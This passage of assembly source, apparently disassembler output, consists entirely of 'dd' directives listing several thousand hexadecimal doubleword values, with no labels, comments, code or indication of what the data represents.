		dd 80848D4Ch, 8ADB291Ch, 233900A2h, 227F7102h, 0EC7AF173h
		dd 534078BEh, 26CB0Eh, 0A595C67Dh, 0B6BBB390h, 50C0BC00h
		dd 193C149Ah, 403512F4h, 8E7888D5h, 5CEF900h, 4F2FF8C3h
		dd 0D8A20CF1h, 0BF81F7E4h, 38EC4BEh, 0D35DE08Ch, 177D97C1h
		dd 0B28ADDh, 0E6E8489Dh, 0BC00FA74h, 1C36CAB7h,	272952h
		dd 0AB10DF07h, 8C3CD177h, 0B00047F8h, 0BA38FE66h, 1F72A731h
		dd 0EC8ECB46h, 19D40FA8h, 8AE007Eh, 337E27D9h, 0D2CF000h
		dd 0ED9F5BD7h, 44B91620h, 8CBC3087h, 90001E09h,	0E005C9EBh
		dd 17D86BFh, 0F0DCD188h, 505A02A6h, 0FB99F7C4h,	0B003FFCh
		dd 0DF665CCBh, 4F6AF08h, 18D5D207h, 0F4E28Bh, 0A70C684Bh
		dd 8487CEh, 6F490339h, 0D14499EAh, 56DA8518h, 2EA2C959h
		dd 1D9F0B0Ah, 0F517FBDFh, 0F43902F9h, 0E46110EFh, 32A850A5h
		dd 80007399h, 8D2DECD1h, 20E7B18h, 726EF2F3h, 6C528316h
		dd 0A4229001h, 56C1A28h, 39FD30C0h, 6985BDEAh, 0C0ED3614h
		dd 0C0F1DCACh, 0DB22600h, 89BD08AAh, 0AF1C1F31h, 329C50h
		dd 0D4B00137h, 84240D82h, 0F08018E2h, 0F71631A9h, 1C32B8B7h
		dd 1832B7Bh, 525F3093h,	36422A5h, 2055DA57h, 8205D0D8h
		dd 19C30451h, 0C0851D7Eh, 958C6C57h, 2513ECB0h,	0C882D2FEh
		dd 2ACD1B7h, 1CDDF7A2h,	0F8A560E0h, 0DF383975h,	3016FA8Ch
		dd 9801432Ah, 3B8A475Eh, 0ECC128CCh, 2BDB1254h,	670C00FCh
		dd 0E8D89241h, 3CA49355h, 34A8028h, 3B2251h, 0F373DB59h
		dd 0A6F5CF12h, 0A2F8ED01h, 747F247Ah, 0BC05EC60h, 92AB4040h
		dd 0B313BD8Fh, 9F05E6B0h, 0A4809DA3h, 4A65D888h, 17827B8h
		dd 0DC81ECCCh, 7E003AB9h, 0A4D601FFh, 143BDC8Dh, 2CA52CB7h
		dd 0D1087100h, 0B021AFE6h, 0CF2F8CEEh, 4B1C106Ch, 0D9EA00AEh
		dd 9B726AFCh, 96006134h, 53E6B5Dh, 0F4F8B936h, 0BBBA01CBh
		dd 5C5ED6DDh, 16785355h, 7A5C3Fh, 0EE2E2023h, 48CC7Bh
		dd 2C30E4Dh, 19A0E0E3h,	8CF49095h, 0A8900C1h, 286A776Bh
		dd 2095D69Dh, 0CDBFA0E4h, 0E9E51E05h, 0D626B2h,	0D6D50FF1h
		dd 93E20C80h, 222CA602h, 6008A038h, 391C19D0h, 2E056BB5h
		dd 0CC604090h, 45FCD7F8h, 71089A97h, 56960114h,	0D407C27Bh
		dd 0CA006E97h, 0D18F713Bh, 0B508DDh, 2FD5983Fh,	0B9C4FA79h
		dd 0C8D42824h, 0F4355860h, 97D7095Fh, 0C8983693h, 83079BB5h
		dd 82606631h, 9080BAB8h, 0F8C22057h, 0D001ABFh,	0ABEE0EA7h
		dd 8C61CDh, 317D01CBh, 0A6D2620Bh, 13A5BB00h, 43B33CA2h
		dd 780097C8h, 5CF62A82h, 869F0113h, 489E6C00h, 1C769C9h
		dd 8141C322h, 6819B0D8h, 25291AF4h, 0EC3841B1h,	26D6ED0h
		dd 38B7D50Dh, 68402B16h, 493EBDE9h, 34B2004Ah, 5E6B109Ah
		dd 0A80494D5h, 0B8A5FEDCh, 0CB680C24h, 6A14EA87h, 77504D00h
		dd 0A1916329h, 3BC0014Ch, 3CDEF4A9h, 32B1EDACh,	7C0126D8h
		dd 3512AE40h, 0A10F1C11h, 0C86E0020h, 0F44E0424h, 7BBC3Dh
		dd 0C1F228EEh, 24C954C5h, 8084B93Dh, 0B4DFC815h, 672CFC30h
		dd 6028F04Bh, 0B600B07Bh, 2DDB8C44h, 2EF1D3E4h,	0C0405F40h
		dd 0D52E7E4Ah, 76D2CE26h, 50800429h, 9A29D12Ah,	3F8C00A0h
		dd 371A8A87h, 926E1AFh,	5F006062h, 20EE02A1h, 494A4A40h
		dd 0A0C88408h, 1E0CACAAh, 30B8D6E3h, 1CC0E45h, 9012680Ah
		dd 0A48D0514h, 0B7A8E500h, 0FD5ECC5Ah, 77FA79E3h, 0ADB200B3h
		dd 0C32E34C8h, 9A0768DDh, 26EC2DF1h, 4838417Dh,	0F458D480h
		dd 9F004808h, 3B992C0Fh, 0C4EB3h, 0C8260AD0h, 0BACEB685h
		dd 0E1CB6C0Bh, 29FC9012h, 0D4212628h, 5DA704D4h, 4CB8A4BBh
		dd 0EA4F6C07h, 89F0A0E3h, 0CAAADEh, 62C3BB75h, 0EE28AC6Ah
		dd 0E04424B8h, 0F5291D7Bh, 68D640A0h, 0B1C7D9C4h, 0BF39A30Eh
		dd 6827C981h, 116070h, 57F97519h, 84CB4112h, 7A145009h
		dd 40A81018h, 738935Ch,	12F10348h, 0B8C041FCh, 62E78246h
		dd 23D90018h, 55A29913h, 5B85031Bh, 287EE40Fh, 0E8D4E3B3h
		dd 0C4DA80F4h, 0EEB8B475h, 897900CBh, 1EBC7F1Ch, 2D0066A3h
		dd 0BD0A24DAh, 177AAB4Ah, 0D02A48F2h, 95D3B750h, 0A7830100h
		dd 65FD9DA1h, 9BBB0046h, 73B8A3A9h, 0F8780241h,	970190B9h
		dd 0E649EC94h, 2EE7FC8h, 14287AB6h, 54F1D91Fh, 7C5B8F3Dh
		dd 64D62733h, 58FC4979h, 3CD4E4h, 8A53B528h, 0D8902B36h
		dd 0B900EBE6h, 37F38E88h, 5BA2F93Eh, 0EFA433BAh, 56D918D8h
		dd 47803891h, 0ABA39049h, 769E07FEh, 402FA248h,	33AA4A38h
		dd 85B2F31Eh, 689AB049h, 0E68C2E8h, 3613BE0Eh, 0D928F240h
		dd 8518CFB2h, 0FA59E63Bh, 561A00D0h, 0A948EF8Ah, 0AA02AD88h
		dd 763C76Ch, 44505286h,	43C4D2Eh, 3FEC01EAh, 977F3401h
		dd 905CFD20h, 1DFE99h, 5A368E1Ch, 5B6C356h, 40BEE409h
		dd 0A2904B53h, 0F844E4AAh, 0EC6F48D4h, 48E112C1h, 16422B8h
		dd 7B502C5Ah, 16E406C4h, 1F782Eh, 81766065h, 1CF4538Eh
		dd 4E9FA818h, 0B364540h, 0D45FC0EBh, 47127066h,	0F8F49BA1h
		dd 0D7C400C3h, 0A07E1A04h, 500CAE3h, 314890Bh, 2665860Ch
		dd 87A044FAh, 0D018BDF7h, 2F15EE2Ch, 0D6EA9102h, 449BA2C4h
		dd 1A780060h, 0D4136301h, 0AD0049BAh, 0A1410283h, 12F7C56Ch
		dd 24DFCBh, 0D2446F48h,	0C700173Bh, 343DF3D0h, 0BD354AAh
		dd 0AF8AA732h, 40A4708Fh, 4A4A2C8h, 0D1DE715Ah,	5BF404C0h
		dd 0CEB8077Bh, 0E0839274h, 4BD82A36h, 1C59D0AAh, 2281E700h
		dd 3D5A43D6h, 0BD80B3ADh, 1B20ED34h, 7A16161Ah,	68405B05h
		dd 3A6A8B40h, 0E5F6013Fh
		dd 8E297949h, 0D53C3093h, 32EB3B04h, 0FCA8AEEEh, 677DF74Ch
		dd 90ED6961h, 1C91A2D6h, 48FD2F00h, 0E4A61D31h,	45262435h
		dd 4FF503F8h, 0A99485D4h, 7A420924h, 0CF85119h,	45513527h
		dd 9D51BC00h, 0A0DD6FB1h, 0F9E60004h, 0D9DF4BF4h, 0EA005A1Dh
		dd 93EC997h, 0BE8DB8C8h, 443480F0h, 9B8BF81Ah, 0CB183A03h
		dd 0C02D2E37h, 0BD3236Eh, 0FD9BE1Ch, 9AF0A898h,	0D7566D00h
		dd 0AD9666E7h, 0B37E0B7Dh, 6009EA06h, 0FC515D09h, 8801D016h
		dd 0ADC670B9h, 0B4249AF1h, 257D00E5h, 6E46E9BCh, 28C1DC9Fh
		dd 7DAA2EEh, 0D81DB03Fh, 51409094h, 52ECC2h, 9314AEC9h
		dd 0BB172083h, 4B55780Fh, 0A13CCC3Bh, 0EF1A0359h, 2BE1EB8Ch
		dd 0A3A880F4h, 86E8B7EEh, 0C5F14Fh, 0D11FFC09h,	39813DBCh
		dd 0D9EC4D68h, 0B2C0FF98h, 0E8042726h, 76F63664h, 7000A4F2h
		dd 0C4168524h, 89004492h, 8FAF1381h, 252A6FC0h,	449052DFh
		dd 820FF5D3h, 0D23B1B31h, 0C08B0022h, 621573h, 0BC0736DCh
		dd 6788E777h, 0E4B30402h, 5E021612h, 505E807Ch,	0F7BD862Dh
		dd 1C4E9A04h, 1CE885B4h, 302C4280h, 0ECE4883Ch,	628C1097h
		dd 0A0C63E85h, 7675104h, 80F8E835h, 0DE64F3CBh,	88AD0112h
		dd 1F4727C2h, 7CB9E93Fh, 8E2F1744h, 1C2B7C40h, 2E9D9648h
		dd 46C31DAh, 40A2A505h,	6F8C54D4h, 0B82405C0h, 0C33FAE46h
		dd 7A93CCB0h, 60D455B2h, 1488D745h, 464700A1h, 7C72E1EAh
		dd 78000134h, 264A8DE3h, 1CB3AA1Ah, 23D0CECh, 0BD7A2B69h
		dd 0CE402481h, 30CC3947h, 0F55FD1E1h, 15EF00EAh, 749B7734h
		dd 0A7009A69h, 0F642ACC4h, 70E8643Ah, 0F96F193Ch, 2B6B1066h
		dd 48047420h, 0C9A1E3Bh, 0FB28408Eh, 9663147Dh,	25E8000h
		dd 0C2160D2Ch, 1C20B5BAh, 64873E9Eh, 745A3F01h,	7C3A0E73h
		dd 110B7C0h, 0C03CDE69h, 4054BC63h, 33DC035Ch, 74050898h
		dd 0EFE1EC24h, 0F3D2E8F4h, 592AE242h, 0EFD10114h, 3044ACFBh
		dd 1CF4D7D5h, 704C8205h, 0F800DF0Ah, 0DE938514h, 17D9E4A9h
		dd 8A1DC9Ah, 63866FFCh,	97B1A004h, 0C83EB431h, 16015CF4h
		dd 8567B53Bh, 0E478C61Dh, 0CCA8A688h, 1B2C1000h, 0B23CA12Ah
		dd 0CF62567h, 790E7444h, 60B15Eh, 0DE6ACDF5h, 0AA2D02E3h
		dd 0BB67BA99h, 0B57CB472h, 3B5FE500h, 369ECD69h, 6D843D6Eh
		dd 28E9FB89h, 7C1E9044h, 0A35EE4CFh, 9A1C3740h,	5E5613C9h
		dd 0DE9C2045h, 0A9010510h, 0EDECB706h, 0B878B0A2h, 60FF039Eh
		dd 0B9F1CACFh, 80D86CE1h, 51CB07FAh, 42C10F5Ah,	4A89FF28h
		dd 14059866h, 84A4F482h, 27F69C40h, 30BA552h, 68EE884Dh
		dd 0D4C04276h, 4003DC3Ah, 85ACB720h, 1C1BEB3h, 4EB6A734h
		dd 40D6F92Bh, 3F0A9B4h,	0C068934Ch, 149C96Ah, 0DFB20091h
		dd 4A4E678h, 0E4728777h, 3C859E08h, 0E947804Dh,	0EDFC3BDFh
		dd 44B73105h, 48883BDh,	77B50089h, 0E0D2B888h, 8C1C282Ah
		dd 0B380B23Fh, 0A584E84Dh, 0C056F279h, 2F89B931h, 0D6F8203Ah
		dd 7AAC48A0h, 4B564300h, 2C2A8DE7h, 0A46A0025h,	0C129CD60h
		dd 1097BAD3h, 0BBF7584h, 23D58AD0h, 0CAC7800h, 0F4E29CAh
		dd 507E820h, 0B5701EEAh, 0D5F70116h, 0D0307C93h, 4100888Bh
		dd 0C7A1DA1Eh, 9559DEEh, 84424347h, 0EF1D74F2h,	0CCC2066Dh
		dd 606CBEF0h, 99F59Ah, 0F2FFA5E8h, 0EE2E6BA7h, 913C8D17h
		dd 0C91A1400h, 2A68149Fh, 4427E9h, 5623CCD6h, 69C91084h
		dd 0A5F68772h, 0E110A150h, 78860F02h, 71AEA99Bh, 3EA61E64h
		dd 42B4A800h, 78B6DFC8h, 0C000185Ch, 62B28D03h,	28DD2D3Ah
		dd 0FF3C6064h, 76640154h, 36F5DF5Eh, 0C0C76C60h, 0EDB74008h
		dd 1AE26722h, 0A0BA2127h, 0C5DA3444h, 57B40081h, 800E55E2h
		dd 9513C874h, 0E2015C48h, 0DFEC089Bh, 0DB6916E3h, 39E0A3E4h
		dd 0D8EC0881h, 20B193BDh, 4C651D04h, 8EE1A715h,	0EBFD0054h
		dd 0DAC1B6B1h, 31960177h, 99698BAAh, 10402A9Bh,	4E6456EDh
		dd 57740023h, 17931DC5h, 1B0944D5h, 648E26E3h, 6F961F88h
		dd 74BC83CDh, 0D8C04EA7h, 0D73A913Eh, 5801ACF2h, 0E4F0234Eh
		dd 0B920F7B8h, 5F1BB1Dh, 11A8D9DCh, 0E54A2ABh, 202F90E6h
		dd 21407537h, 0B7F7043Fh, 0B2492C3Dh, 741D00DCh, 820D68FEh
		dd 0F0A9ECDBh, 0A7DD0243h, 46E12072h, 0FB4044DEh, 125479A6h
		dd 0B1246Ch, 3BC8FA41h,	1A2C8239h, 1002788Fh, 80BA08A0h
		dd 2D563A30h, 811800A3h, 73160170h, 31009F8Bh, 0CEF3D3AEh
		dd 802A12E1h, 20B5BF9Ch, 2C06CB8h, 5707603h, 0AB04DCE0h
		dd 0D840800Dh, 64B0812Bh, 48636D44h, 2884E818h,	356C818Ah
		dd 475AD02Dh, 505E664Ah, 784080E6h, 0CE1AD9h, 0C9DC2FD4h
		dd 0D6447142h, 0B5DAD201h, 3B84C08Eh, 77009833h, 0E7809F70h
		dd 0A600CEB9h, 6D950FE0h, 4AD87A19h, 972C40FAh,	4E6CF845h
		dd 0DCCE9A0Fh, 2746FE46h, 1D9D4ECh, 0D9DDBD59h,	9D7837D2h
		dd 133BFD0Ah, 0DB00A8D5h, 83C3BEDAh, 0D6B00FAh,	26D330B2h
		dd 730910DFh, 103B85A1h, 289C904h, 6E5377C0h, 6C46222Ah
		dd 0CB442B01h, 0CE08A25Ch, 10B5BED0h, 915340h, 3BEBEEE2h
		dd 911B7A30h, 0BCD902C8h, 4CC4A50Ah, 4094A3Bh, 0FBE4395Dh
		dd 0AA4374C0h, 70824913h, 329FE180h, 5F016855h,	5A6101F4h
		dd 4AC47A1Ah, 20E64FE4h, 0A750101Ch, 98005678h,	8EDADF06h
		dd 584704C8h, 0FCC720D4h, 0C8D7F5EBh, 499154Ch,	36137980h
		dd 909E0E7h, 3B42818h, 7AF7F780h, 0D4B16B26h, 516F5B0Ch
		dd 0C0EC160Ah, 791CD0E3h, 0D95F3576h, 0A8B94823h, 9AEFEDh
		dd 53D46EDDh, 795B3AF5h, 2C34B548h, 770418A2h, 0CA21E84h
		dd 23DED73Dh, 0B6D0BFC4h, 31FCE07h, 0CA808BB1h,	7A6875E0h
		dd 50689C62h, 3D00A1D4h, 98A71693h, 0E8B90126h,	0C2970060h
		dd 0E5D3F99Eh, 0ED047F48h, 5C4094E9h, 2F6328F4h, 0C8A45E62h
		dd 607E4FC6h, 6DEE9EB2h, 0A26E01B8h, 4469F279h,	0F645F085h
		dd 0CD481C0Eh, 3C88E1h,	0A18E799Ch, 14E0C04h, 0ACA3F840h
		dd 0B8DDDCF7h, 62460008h, 7C8CCFE7h, 6D1D0576h,	300B7E5h
		dd 0D371D75Eh, 0B87F256Fh, 5095A068h, 0B0283901h, 0D1822936h
		dd 0B4887095h, 0E5DF3279h, 44F22A69h, 556A100h,	9E86ED2Fh
		dd 38CA0049h, 0D32B8F5Ah, 871444CBh, 899C2885h,	27D868B1h
		dd 189778Bh, 233E608Fh,	0C87341A3h, 0EC00EA0Dh,	0B9A1CC2Ah
		dd 3AB81C31h, 5E00C872h, 35935D2Bh, 0D22ECEBAh,	5F05FAFBh
		dd 74BC486Eh, 31D1D980h, 0B00581A4h, 4EACC5F3h,	5C1A52C0h
		dd 0CA373098h, 0D1EAD4FCh, 2B954100h, 0E5EC8C2Fh, 560B00A8h
		dd 4220AE0h, 0EE00782Eh, 0FC6E517Dh, 6D1E52Fh, 3F37D4F4h
		dd 3E0040FDh, 0CD2C88F2h, 0C40531h, 48409BF7h, 0BB0DE2A6h
		dd 0D1AB5818h, 0FE2E68h, 197818CAh, 1A2939B4h, 6646840Fh
		dd 8C9620A4h, 11CAD1C2h, 1654FDh, 9BF33F47h, 6CCF683h
		dd 237E188Bh, 0F4055019h, 0D9531D24h, 0FE6A7480h, 0E0F9399Dh
		dd 0DC943078h, 1371EA40h, 0EE93D100h, 0E9F1D5Ch, 4673007Ch
		dd 7958696Fh, 5628FDD7h, 27606CDDh, 990D1839h, 59062496h
		dd 1A09003Fh, 9F57D14Bh, 0F8EC6700h, 3452B7C4h,	276503FDh
		dd 3EE87B72h, 48B9EF3h,	0C52B0AA0h, 0DF87717h, 57591118h
		dd 234D00FBh, 1A95A061h, 0E4073763h, 0EDFDC5E8h, 87793B22h
		dd 44F3BD70h, 513805FBh, 252D3E09h, 0E6DB07BCh,	0CC6F129h
		dd 308F71ACh, 69C08C4Bh, 0C2C87666h, 655100F6h,	0F0A005BCh
		dd 0C700BE7Fh, 0A60FA149h
		dd 0D6A7608h, 0C902AA1Dh, 723EEC39h, 9396A100h,	3834A858h
		dd 0B5CC0048h, 86C41DB1h, 1B159E6Eh, 0FECCE21h,	0A061AEA7h
		dd 0E09250ABh, 607D7A8Fh, 9BD15158h, 700037A0h,	0C3EDD3ECh
		dd 3BD0304h, 200C6692h,	79987A45h, 0BE139FBFh, 0EBB088B7h
		dd 3977DB6h, 130582D3h,	51002403h, 0D580595Ah, 8C74CEh
		dd 83C8F107h, 27297D5Dh, 2373B30Ah, 0A880A0ACh,	9A179CBAh
		dd 724F895h, 0AA4E11FCh, 0D03780FDh, 0A639B7A3h, 23F013Bh
		dd 2697D6E8h, 825E03FEh, 0AC34E100h, 3EE90338h,	2BF50F44h
		dd 0D08DF8h, 0EF12B202h, 0B56210h, 96F5B7F6h, 0CD53F9C2h
		dd 140141C2h, 0E88898B6h, 0CF2C002Dh, 793012BCh, 0B00347Bh
		dd 0B5A4537Fh, 0C6A00F82h, 6910FCC1h, 9DB35100h, 2605F2E5h
		dd 832A074Ch, 7C018632h, 3C008759h, 6311703Ah, 30EFC4h
		dd 2E94C9D8h, 9CA1091Dh, 2A0B512h, 81E4420h, 0B77A000Bh
		dd 27573206h, 150704B1h, 29BEF7A8h, 91FC7B30h, 7EA400A6h
		dd 543C5E69h, 5490C764h, 3782248h, 6BABEB8Ch, 0EF829508h
		dd 0B8FCB379h, 13DB410h, 50C5BE8Fh, 0D0F29E69h,	0E1DDAB47h
		dd 0A57584C0h, 3A85145h, 6F20A259h, 2103AF47h, 0F51ACA8Bh
		dd 8FDE0034h, 0D3E532B9h, 8228B218h, 54021452h,	0F9734A28h
		dd 7C989117h, 75891F0h,	0BC270A1Bh, 1805153h, 43A010D2h
		dd 643D00FEh, 0D9289EBBh, 120427F3h, 61C2A68Ch,	73BC88h
		dd 0CA901F19h, 6C0B516Bh, 897FE01Dh, 583CD0F0h,	0AAF4A880h
		dd 2D010037h, 953BAE3Ah, 2300B191h, 1DFD2972h, 40696Eh
		dd 651F2D2Bh, 78AD0D0Eh, 0A7A0E318h, 71406E41h,	88B21823h
		dd 0F5B9C9E6h, 0F41A5E27h, 51FB00C2h, 0A4F7E5ABh, 0A853C900h
		dd 0F40C90BCh, 0DD2E2687h, 9F6B0066h, 0D32D040h, 17AE5400h
		dd 90D8F410h, 25670013h, 0D95CA8A0h, 0CB3BDDB7h, 8BC003E5h
		dd 90C36A7Ch, 300ED5F4h, 3D59DB68h, 4E207E5h, 418C7100h
		dd 6096C18Ah, 55AB1C06h, 4915414Fh, 20452E46h, 0D18C24Ah
		dd 2370F3F6h, 0FB7009Dh, 748F3832h, 2E06B08Dh, 0C5600EABh
		dd 38375C61h, 53B7A061h, 0C457D04Ah, 0DFAA6201h, 0B91DFE0Bh
		dd 0ECEF2180h, 8114458Eh, 987D7F00h, 0FF04500Dh, 0C9393036h
		dd 0B8C42951h, 0CF2B6C00h, 1B2A503Eh, 1C87AD0h,	0E7DA0B9Bh
		dd 0E7ABB44Ah, 93D33100h, 0DB22648Bh, 0CCF33FBDh, 9B7F5B80h
		dd 24086157h, 0AE8D6900h, 92A3DD72h, 703651C2h,	65E9CF0h
		dd 207C9449h, 0B2F85088h, 333F58h, 31691B4h, 34E6655h
		dd 0CD87A12Ch, 74F2BB4Ah, 0C1B85881h, 51BC2Ah, 0C4C20FBAh
		dd 5C4B65C0h, 797C3Ch, 1E63D943h, 0EF592597h, 8610320Fh
		dd 3934FFB6h, 81C88E81h, 7C606731h, 88130CEAh, 0AC21E676h
		dd 6100B8A4h, 1AB429E2h, 719E3EC9h, 8C793E22h, 0A599F101h
		dd 40B5E656h, 3F63D4ECh, 5F7EFC73h, 547049C0h, 1D3655h
		dd 0E2B1A548h, 6D3B2CD2h, 6C0AFD7Ch, 0D818CFA4h, 0F3AA9080h
		dd 1B0A1DCh, 0ED15429Fh, 0DC0557D4h, 67188994h,	4D59E460h
		dd 0BD9B0F64h, 0FACAC288h, 72078688h, 0AD0CB9D5h, 31DE25C1h
		dd 2B1B2474h, 9A070044h, 911E2D8Eh, 84FEC0A8h, 0A6737101h
		dd 9440EF09h, 978019BCh, 38CD58B8h, 0FB0355D5h,	0FE93C51Bh
		dd 11BFC939h, 33BEC48h,	65D1B53Ah, 19510A0h, 4D8EB40Ch
		dd 12DBF8D5h, 0B14AB300h, 673AC7A3h, 23C11398h,	0D07F0083h
		dd 444BE30Bh, 0E41CC0A4h, 0E00E29Fh, 949C63EDh,	2E7904A7h
		dd 812583F2h, 0BC922094h, 8501FFA9h, 7C6E31F1h,	0A850B71Dh
		dd 0C438BFh, 0C9D4B961h, 0B66CDD59h, 42116507h,	0EDEAAA79h
		dd 3FC18900h, 9067AFB1h, 8ED903B8h, 9BC32201h, 9C80C9EEh
		dd 4C1EAB2Dh, 120BE39h,	279DA391h, 0E074E82Fh, 0C10581B6h
		dd 4D3661D5h, 94BDA408h, 0ED002418h, 0F17D5291h, 0B4A64FEEh
		dd 0F9C34530h, 3FC90466h, 0FE8FD268h, 7CC0718Eh, 265A7BE1h
		dd 61DEE900h, 58C529F6h, 0A8B2F0FEh, 8C9C78h, 9D418173h
		dd 0E436F010h, 1C1E1A18h, 8F2669h, 0B4BCE5F6h, 1801ECFAh
		dd 0C420CA18h, 75901521h, 380FA62h, 0F19F8C3Bh,	96F042BCh
		dd 0BA1826CAh, 0ACA9C276h, 0E484A8C3h, 0D9FD0011h, 0CDFE137Bh
		dd 0A90049F9h, 0B326559Eh, 0C7BF40EEh, 4C2A87A1h, 43123C41h
		dd 68204403h, 0F86B8FA5h, 460E0034h, 6D7F64EBh,	3B004E8Dh
		dd 511F979Eh, 15052571h, 0A8AA15F2h, 32828001h,	47683DC0h
		dd 0D9409093h, 21C0DD18h, 0B2F4F8A1h, 37DA03E6h, 45AE3EBCh
		dd 9E0C80A7h, 0A83040CFh, 1E5EC9D6h, 0B5550060h, 0D59AD258h
		dd 0AC52042Fh, 81C000F8h, 14711D3Ah, 3D761C46h,	0A3E04037h
		dd 0D3EE5712h, 59E6D100h, 0B7147038h, 0F839C0DAh, 979394C0h
		dd 4DE292Ch, 0E713A401h, 146167ABh, 52A71E0h, 5257C2A9h
		dd 96480039h, 0B50E6E4h, 0E58CBA15h, 0B7D40194h, 0CA38FC3Dh
		dd 7BA72980h, 13D186FEh, 1EE1DE00h, 0B2CD70EEh,	12C50EAAh
		dd 42416D53h, 0F8F007C9h, 0C8A6B53Ch, 374DE44h,	0E986F1FFh
		dd 2143AF40h, 2B0800A4h, 566E94D3h, 88ED0046h, 0F091B15Dh
		dd 0FF04C4A6h, 40711842h, 86B17C87h, 5E209E96h,	0BA470414h
		dd 0C04AC1C8h, 4D0B2BD5h, 0C0265AFEh, 0A2008BFBh, 3F65777h
		dd 0A79D0056h, 0AA8F58B9h, 0C3492097h, 3F2B394Ch, 10D28B79h
		dd 0D4E30073h, 1DCDF6E8h, 0C90BB766h, 0E082F511h, 5025DF41h
		dd 17948Ch, 0CDA325A6h,	742D096Bh, 8B5DAD09h, 8254901Ah
		dd 9A7B3B5Ch, 0C7B802F0h, 6887126Ch, 9754D080h,	363A5F0Ah
		dd 5CD2AC96h, 29CCA960h, 754B1DEEh, 478C00C3h, 6A4F7A8Ah
		dd 0E32E1600h, 825D305Ah, 20C018B8h, 0DC5539BBh, 67AA8A01h
		dd 0D003472Dh, 0A0A3F8h, 459F838h, 8D24435h, 9E2A810Fh
		dd 182F89AFh, 1CEAB228h, 0D4F76D91h, 9700F14Ah,	0D1B81ABEh
		dd 20B89892h, 666E4F09h, 1CA8987Fh, 63800010h, 811AF873h
		dd 5400611Dh, 0E1A8EF5Fh, 3C308B4h, 5891CEC8h, 0EE801C02h
		dd 0CB580E7Ch, 0BF208628h, 3D1600C1h, 0FDBE74DBh, 120FC3F7h
		dd 0A3B1E3C8h, 0E87F6131h, 0B9AD5523h, 197080A4h, 2E3CFFDFh
		dd 7A1A4403h, 0D8E15EBBh, 133B349h, 76F208C9h, 0F42760A9h
		dd 910CEED8h, 0C1C045C8h, 0F8A62E25h, 0F20300FDh, 4AD5BFB1h
		dd 8452053Fh, 21157E97h, 15F84C8h, 3331741h, 0D96ACB31h
		dd 30F450B9h, 0DB00326Fh, 1878DDCDh, 0B2D94h, 12D3D2D6h
		dd 0B34A2173h, 0C9360F00h, 0C0D4A54Ch, 37741CAFh, 0C15D9Ch
		dd 51EF5842h, 0E72919EEh, 4000B045h, 94E424D0h,	1575009Fh
		dd 72ADAFDBh, 0AB73C0A9h, 9833CA00h, 0E96141EAh, 50B90E7Dh
		dd 5AC47659h, 12C8141Bh, 0F000B33Fh, 8556C24Fh,	133C022Ah
		dd 4C84FB61h, 73E7D841h, 0EA51147Ch, 44CF1D94h,	7ADB0762h
		dd 23AF77CEh, 8B80F539h, 47002E58h, 23A67D88h, 0A7DBAAh
		dd 0B60B0860h, 0FD128DB4h, 6DAFF301h, 11C9568Eh, 86005862h
		dd 0B56C2E72h, 0C04455EEh, 0EC0F5415h, 77750286h, 2DAB13BEh
		dd 9C8E40E3h, 204D2614h, 9B5480C8h, 46E7970h, 8796CD2Bh
		dd 0E60CCBAh, 0A00F672h, 4FABA44Ch, 0C21C12h, 0DF795CE5h
		dd 8D45A87Bh, 0C470A70Bh, 61E09123h, 24DF6CC0h,	63889FAh
		dd 71BA223Ah, 0C5978B00h, 134B5563h, 0FB850090h, 6874E678h
		dd 1CB91D91h, 0C74A803Bh, 0FB435BA7h, 825E0066h, 236D9CE2h
		dd 0BE6F37A3h, 8E588029h, 9041FEE9h, 99FB0F43h,	3120F248h
		dd 733371E6h, 38207F26h
		dd 6C6DD440h, 4E340065h, 97A0BAAh, 0F307509Dh, 8E825370h
		dd 57C43A40h, 2227314h,	56B89EEAh, 1C5245EEh, 12258A00h
		dd 69CDCFE2h, 0FD1A007Ah, 0F7DC3E6Bh, 7626EE79h, 4860D0E6h
		dd 748E45BDh, 85910084h, 0C48C870Eh, 61090401h,	80BF1582h
		dd 14311A0Ch, 0C0CF247Eh, 41DC18D0h, 42008559h,	82E57BBBh
		dd 7FCAEFF4h, 3D1402F1h, 5D07CEAFh, 0B13C705Ah,	0E1CB3D6Ch
		dd 4DCFC911h, 1935820h,	46C70896h, 2258EEA7h, 4E101E6Ch
		dd 29A66707h, 8A6D4C20h, 29101E9h, 0E612B9B5h, 0FF6420C5h
		dd 0D9BF1401h, 0CDC15236h, 88F77C60h, 71D0CB39h, 819A00D4h
		dd 36E8C83Dh, 0A9F30548h, 0C66D5F7Ch, 150F90ABh, 311774h
		dd 0A8699D33h, 0BA1A2510h, 70C11C90h, 8011CB01h, 70E530Ah
		dd 91C46161h, 0B138FC9Ah, 2C6305B8h, 0B1B42017h, 89F21272h
		dd 0BE715300h, 62E969Ah, 245803AEh, 0BFB71EDAh,	3AF2A900h
		dd 0DFD188Dh, 0DE943D5Fh, 153900FFh, 29F07CBh, 385CB56Ah
		dd 0FAA28030h, 0CE35B7h, 2B1A07BBh, 49EA3D46h, 1C0855Ch
		dd 0A98C710Eh, 0DCD37B3Ch, 7A3858C1h, 504C1C70h, 23C39h
		dd 8FA7BCFFh, 0EB4715FCh, 69DC2A00h, 0DAA1C7B7h, 0D2F21058h
		dd 241C80ABh, 0F1C168h,	892B5008h, 717E81BBh, 0F98E8002h
		dd 0C03D1299h, 4C9FCCh,	8D748723h, 0ACCE22B1h, 4FBA18D8h
		dd 4E18C0AFh, 0E12329B4h, 56E02B50h, 26C30388h,	0BE1C0894h
		dd 57C95481h, 87F1AC1Bh, 0E672A89h, 0D87FF30h, 24E70729h
		dd 10C5D6E2h, 0B17F1D8Dh, 0B5B0D213h, 0A60AB01h, 0C430DEC1h
		dd 30AD0EFAh, 99E6FDAh,	3C208D4Eh, 6EA58C85h, 27B8F4Ch
		dd 0B89DFF56h, 0F71FE058h, 303809B2h, 0D44820BFh, 0BC002B49h
		dd 5F8995C4h, 31BDB9Eh,	0AB6E74A6h, 0ECE80DE0h,	3898AD3Bh
		dd 0E81DA52Ch, 0C2E25840h, 26AA1C61h, 4D5C948h,	3EBA8880h
		dd 0F1E870Bh, 0E7036E60h, 0C138E2h, 23AA6AF1h, 4C9B4A14h
		dd 0A6775300h, 70FD4E87h, 1E3F4F54h, 0FAB10020h, 0EC564142h
		dd 2D0EB3F0h, 4CEF4F36h, 7728118h, 744A863Eh, 0D0263071h
		dd 1BF00E1Ch, 33609600h, 93D366EFh, 0C37E0035h,	398C72F1h
		dd 0AD02E9DDh, 9F8E56B9h, 7EE852ABh, 7DD30095h,	98EB3EC6h
		dd 0D15052BDh, 0F200F39Ch, 54FE3D48h, 50658FB2h, 909DC0B0h
